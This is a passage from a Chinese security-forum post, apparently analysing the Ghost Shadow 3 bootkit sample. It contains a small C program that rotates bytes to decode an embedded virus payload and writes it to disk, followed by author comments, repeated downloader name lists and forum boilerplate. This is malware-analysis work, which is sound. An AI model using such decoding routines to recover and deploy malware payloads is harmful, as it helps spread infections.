0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; int main() { for (int i = 0; i < 9232; i++) { data[i] = (data[i] << 5 | data[i] >> 3); } HANDLE hFile; DWORD BytesOfWritten; hFile = CreateFile(L"VirusContentDecode.bin", FILE_ANY_ACCESS, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(hFile, data, 9232, &BytesOfWritten, NULL); return 0; }
[CODE][/CODE]
我把输出表提取出来用数组的形式做是为了偷懒,避免一些麻烦,主要是PE文件当中使用了很多的RVA,如果直接对磁盘文件进行操作需要进行换算,磁盘映像和内存映像不太一样,我这里把FunctionsNameTable用WinHex提取出来,然后直接对数组进行操作,简单一些^_^
末尾的吐槽:剩下的alg.exe不准备分析啦.花了4天弄鬼影3的样本分析.基本上里面我最感兴趣的从实模式切到保护模式和系统操作的代码都搞清楚了.中间查了不少资料,收获不少,啊哈哈哈哈哈哈.
好吧.哥3天没看银魂,这两天的睡眠时间都是6个多小时.就是xx鬼影3了.
自认为自己只是一个很努力的菜鸟(肥菜鸟),欢迎大家拍砖交流.^_^
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
他的文章
- [原创]iPE Src 9264
- [求助]内核中如何创建0x3e9类型的注册表键值? 4957
- [求助]内核态下能添加管理员用户吗? 3575
- [讨论]金山、奇虎和管家的内核开发人员快进来!请教问题! 9066
- [讨论]内核编程,入门后如何提高?[详细版] 15387
谁下载
mxt72
卫斯理
hawking
heihu
seny
zhneu
lightsmile
hacknr
ggdd
成松林
孙海鸥
aisha
speeches
neineit
wowocock
littrell
hudong胡东
wotongyi
wangmeng
dayang
OrochiZ
yangxingyu
startion
bboyiori
张程
startexcel
fresharp
linooo
zhxhong
封心锁爱
cdty
AsmBrat
djxh
swzices
Sketcher
nohunt
langyashan
charme
hurtmanzc
風之痕
iCorn
DuoLaMMeng
清茶
BMZYNX
wep
strongxu
sam张
fog
莫灰灰
木叶ss
熊猫正正
panzhiyi
tokiii
邓韬
Liggle
sda
影卡卡西
asplh
robey
booyd
yaolunxo
wpepsi
Anzun
izc
流风
fengor
小小的心
akingh
BiffoLee
hellball
hzHC
LI的夏天
uncletwo
萧萧oye
xingquan
hhlong
guhongwei
何健hj
漂泊心情
skysonw
willJ
zhangnan张
网监张局
丫丫journey
MixDebug
TDHR
ZzhBy
nosaybye
quandaxia
ygrchyz
海马天蝎
icingfire
kkmanAi
无边
sunmeifang
谁下载
mxt72
卫斯理
hawking
heihu
seny
zhneu
lightsmile
hacknr
ggdd
成松林
孙海鸥
aisha
speeches
neineit
wowocock
littrell
hudong胡东
wotongyi
wangmeng
dayang
OrochiZ
yangxingyu
startion
bboyiori
张程
startexcel
fresharp
linooo
zhxhong
封心锁爱
cdty
AsmBrat
djxh
swzices
Sketcher
nohunt
langyashan
charme
hurtmanzc
風之痕
iCorn
DuoLaMMeng
清茶
BMZYNX
wep
strongxu
sam张
fog
莫灰灰
木叶ss
熊猫正正
panzhiyi
tokiii
邓韬
Liggle
sda
影卡卡西
asplh
robey
booyd
yaolunxo
wpepsi
Anzun
izc
流风
fengor
小小的心
akingh
BiffoLee
hellball
hzHC
LI的夏天
uncletwo
萧萧oye
xingquan
hhlong
guhongwei
何健hj
漂泊心情
skysonw
willJ
zhangnan张
网监张局
丫丫journey
MixDebug
TDHR
ZzhBy
nosaybye
quandaxia
ygrchyz
海马天蝎
icingfire
kkmanAi
无边
sunmeifang
谁下载
mxt72
卫斯理
hawking
heihu
seny
zhneu
lightsmile
hacknr
ggdd
成松林
孙海鸥
aisha
speeches
neineit
wowocock
littrell
hudong胡东
wotongyi
wangmeng
dayang
OrochiZ
yangxingyu
startion
bboyiori
张程
startexcel
fresharp
linooo
zhxhong
封心锁爱
cdty
AsmBrat
djxh
swzices
Sketcher
nohunt
langyashan
charme
hurtmanzc
風之痕
iCorn
DuoLaMMeng
清茶
BMZYNX
wep
strongxu
sam张
fog
莫灰灰
木叶ss
熊猫正正
panzhiyi
tokiii
邓韬
Liggle
sda
影卡卡西
asplh
robey
booyd
yaolunxo
wpepsi
Anzun
izc
流风
fengor
小小的心
akingh
BiffoLee
hellball
hzHC
LI的夏天
uncletwo
萧萧oye
xingquan
hhlong
guhongwei
何健hj
漂泊心情
skysonw
willJ
zhangnan张
网监张局
丫丫journey
MixDebug
TDHR
ZzhBy
nosaybye
quandaxia
ygrchyz
海马天蝎
icingfire
kkmanAi
无边
sunmeifang
看原图
赞赏
雪币:
留言: